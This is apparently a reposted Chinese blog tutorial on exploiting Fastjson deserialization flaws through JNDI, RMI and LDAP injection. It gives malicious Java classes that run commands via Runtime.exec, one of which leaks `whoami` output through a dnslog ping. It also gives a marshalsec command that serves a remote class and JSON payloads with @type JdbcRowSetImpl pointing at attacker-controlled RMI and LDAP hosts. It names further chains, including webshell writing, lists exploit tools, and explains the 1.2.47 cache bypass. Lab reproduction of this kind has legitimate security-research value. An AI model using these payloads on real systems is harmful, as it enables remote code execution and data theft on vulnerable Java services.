0x01 前言
Fastjson是阿里巴巴开源的高性能JSON处理库,在Java生态中被广泛使用。其多次曝出的反序列化漏洞(尤其是AutoType特性相关漏洞)曾引发重大安全风险,可以将Java对象转换为JSON格式(序列化),当然它也可以将JSON字符串转换为Java对象(反序列化)Fastjson 可以操作任何Java对象,即使是一些预先存在的没有源码的对象。
现在只对常读和星标的公众号才展示大图推送,建议大家把渗透安全HackTwo“设为星标”,否则可能就看不到了啦!
末尾可领取挖洞资料文件
0x03 漏洞利用
JSON的概念
{
"name":"LiutyBlog",
"age":23,
"media":["CSDN","bilibili","Github"]
}
JNDI
JNDI是一组应用程序接口,提供了查找和访问命名和目录服务的通用、统一的接口,用于定位网络、用户、对象和服务等资源,是J2EE规范中是重要的规范之一,JNDI底层支持RMI远程对象,JNDI接口可以访问和调用RMI注册过的服务,JNDI根据名字动态加载数据,支持的服务有DNS、LDAP、CORBA、RMI
JNDI注入
简单来说,JNDI接口在初始化时,可以将RMI URL作为参数传入,而JNDI注入就出现在客户端的lookup()函数中,如果lookup()的参数可控就可能被攻击,例如
Hashtable env = newHashtable();
env.put(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.rmi.registry.RegistryContextFactory");
//com.sun.jndi.rmi.registry.RegistryContextFactory 是RMI Registry Service Provider对应的Factory
env.put(Context.PROVIDER_URL, "rmi://liuty_ip:8080");
Context ctx = newInitialContext(env);
Object local_obj = ctx.lookup("rmi://liuty_ip:8080/test");
RMI
RMI服务端可以通过References类来绑定一个外部的远程对象,当RMI绑定了References之后,首先会利用Referenceable.getReference()获取绑定对象的引用,并且在目录中保存,当客户端使用lookup获取对应名字的时候,会返回ReferenceWrapper类的代理文件,然后会调用getReference()获取Reference类,最终通过factory类将Reference转换为具体的对象实例
任何可以被远程调用方法的对象必须实现 java.rmi.Remote接口,远程对象的实现类必须继承UnicastRemoteObject类,如果不继承UnicastRemoteObject类,则需要手工初始化远程对象,在远程对象的构造方法的调用UnicastRemoteObject.exportObject()静态方法,例如
publicclassByebyeImplimplementsIByebye{
protectedByebyeImpl() throwsRemoteException{
UnicastRemoteObject.exportObject(this, 0);
}
publicString sayByebye(String name) {
System.out.println(name);
return name;
}
}
漏洞复现:1.2.24我这里用docker搭建复现环境
1.2.24是没有任何fastjson特征,我们构造数据包,用POST请求,并且加上Content-Type: application/json,发包可以证实 啥特征没有
首先编译恶意类代码,我们以在/tmp目录下创建一个successFrank文件为复现成功标志:
import java.lang.Runtime;
import java.lang.Process;
public class TouchFile {
static {
try {
Runtime rt = Runtime.getRuntime();
String[] commands = {"touch", "/tmp/successFrank"};
Process pc = rt.exec(commands);
pc.waitFor();
} catch (Exception e) {
// do nothing
}
}
}
marshalsec下载地址:
https://github.com/mbechler/marshalsec.git
需要手动maven编译成jar包
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://liuty_ip:port/#TouchFile" 9999(指定的端口)
{
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://liuty_ip:9999/TouchFile",
"autoCommit":true
}
}
dnslog回显
创建一个恶意类,执行ping命令
import java.lang.Runtime;
import java.lang.Process;
public class dnslog{
static {
try {
Runtime rt = Runtime.getRuntime();
String[] commands = { "/bin/sh", "-c", "ping user.`whoami`.dnslog地址"};
Process pc = rt.exec(commands);
pc.waitFor();
} catch (Exception e) {
// 1
}
}
}
1.2.47版本在47版本中最明显的点就是json报错会出现fastjson特征
dnslog回显,构造数据包
{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://192.168.110.208:28888/Object","autoCommit":true}
TemplatesImpl利用链
Commons-io 写文件/webshell
becl攻击(利用tomcat的BasicDataSource链)
检测工具推荐
BurpFastJsonScan-1.0.8.jar
fastjson_tool.jar
FastjsonScan
fastjson_rec_exploit
0x04 总结
最后总结,相比1.2.24,1.2.47过滤了许多恶意类的上传姿势以及关闭了 autoType ,但可以利用fastjson中有一个全局缓存,当有类进行加载时,如果autoType没开启,会尝试从缓存中获取类,如果缓存中有,则直接返回。所以可以先上传一个带有恶意类的json数据,让它执行并存入缓存这样就可以实现绕过。喜欢的师傅可以点赞转发支持一下谢谢!
原文始发于微信公众号(渗透安全HackTwo):Fastjson漏洞利用及工具总结|挖洞技巧
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论